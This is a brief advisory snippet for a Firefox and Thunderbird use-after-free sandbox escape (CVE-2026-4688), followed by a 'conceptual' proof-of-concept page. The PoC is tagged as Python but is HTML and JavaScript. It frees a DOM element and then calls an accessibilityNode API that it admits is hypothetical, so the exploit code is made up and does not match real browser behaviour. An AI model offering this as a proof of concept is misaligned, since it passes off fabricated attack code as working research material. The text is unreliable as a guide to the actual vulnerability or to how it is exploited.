Sandbox escape due to use-after-free in the Disability Access APIs component. This vulnerability was fixed in Firefox 149, Firefox ESR 140.9, Thunderbird 149, and Thunderbird 140.9.
The following code is for security research and authorized testing only.
python
<!-- PoC Concept for CVE-2026-4688 -->
<!-- Disclaimer: This is a conceptual example based on the vulnerability description. -->
<html>
<body>
<script>
// Simulate interaction with Accessibility APIs
let targetElement = document.createElement('div');
document.body.appendChild(targetElement);
// Simulate Use-After-Free scenario
let vulnerableRef = targetElement.accessibilityNode; // Hypothetical API
// Trigger free
document.body.removeChild(targetElement);
// Attempt to use freed memory (Crash or Exploit)
setTimeout(() => {
console.log(vulnerableRef.getProperty(0));
}, 100);
</script>
</body>
</html>